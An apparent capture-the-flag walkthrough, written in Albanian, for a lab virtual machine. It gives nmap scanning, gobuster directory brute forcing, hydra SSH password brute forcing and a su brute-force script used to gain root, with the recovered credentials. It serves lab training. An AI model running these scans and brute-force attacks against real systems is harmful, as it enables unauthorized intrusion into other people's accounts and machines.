🏴☠️ CTF Game SDA Virtual Machine Step-by-Step
Lokalizojme IP e vm-sda ne rrjetin tone te brendshem duke skanuar te gjithe range 0/24
Perdorim komanden nmap -n 192.168.10.0/24
Nga rezultati i skanimit me nmap kuptojme qe 192.168.10.6 eshte IP e vm-sda. Kjo IP ka hapur portat:
21/tcp ftp
22/tcp ssh
80/tcp http
Nje skanim me i thelle me nmap -sCV 192.168.10.6
na jep nje rezultat me te mire mbi sistemet dhe versionet qe ndodhen ne keto porta
Nje gabim i shpeshte qe ndodh gjate konfigurimit te ftp eshte qe lejohet logimi si anonymous. Logimi deshtoi qe do te thote qe ftp kerkon nje username dhe password valid.
Perpara se te tentojme brute forcing i hedhim nje sy portit 80 http ku po hostohet nje website. Pas njefare kohe duke kerkuar zbulova nje mesazh te enkoduar me base64 ne source codin e faqes
Perdorim komanden per ta dekoduar nga base64:
echo "RW51bWVyYXRlIG1lIHdpdGggZGlyZWN0b3J5LWxpc3QtbG93ZXJjYXNlLTIuMy1tZWRpdW0udHh0" | base64 -d
Mesazhi na udhezon qe te kryejme nje directory brute forcing me wordlisten e permendur.
Perdorim gobuster per te kryer nje directory brute force me komanden:
gobuster dir -u http://192.168.10.6 -w /opt/useful/SecLists/Web-Content/directory-list-lowercase-2.3-medium.txt
Rezultati na kthen keto 4 directory te fshehura:
/images
/css
/js
/requests
/libs
Ne direktorin /requests shohim nje file interesant me emrin urgent.txt. Aty ndodhet nje tekst drejtuar developersave per te ndryshuar passwordin e nje useri. Username i tij eshte nje planet dhe passwordi ne listen rockyou-10.
Me keto te dhena ne mund te ndertojme nje liste me usernamet e planeteve dhe te perodrim rockyou-10 per te kryer nje sulm brute forcing me hydran.
Pasi kemi krijuar listen me 10 planetet e sistemit diellor perdorim komanden:
hydra -L planet.txt -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou-10.txt ssh://192.168.10.6 -t 4
🧑💻 username: uranus
🔐 password: butterfly
Tashme mund te logohemi me: ssh uranus@192.168.10.6
🏴☠️ FLAG #1 cat user.txt
Hapi i radhes eshte te eskalojme privilegjet per te kapur root. Ne kerkim e siper gjeta dicka interesante ne .bash_history
ls -la
na jep nje liste me filet e fshehura ne /home/uranus
cat .bash_history
duke investiguar komandat e superuserit gjeta nje tjeter hint te koduar me base64
echo "cm9vdCBwYXNzd29yZCBpbiBhIDMtZGlnaXQgY29kZQ==" | base64 -d
na jep si mesazh root password in a 3-digit code
Kjo do te thote qe superuseri root ka nje password 3-shifror. Duke llogaritur se jane vetem 1000 kombinime te mundshme me numrat 3-shifror eshte e lehte te bejme brute forcing.
Shkruajme nje script ne python i cili gjeneron nje text file me numrat nga 000, 001, 002... deri ne 999
Pasi gjenerojme listen e passwordeve perodrim kete shell script per root brute forcing.
Komanda per brute forcing:
./suBF.sh -u root -w numrat.txt -t 10 -s 0.003
su root 666
cat /root/root.txt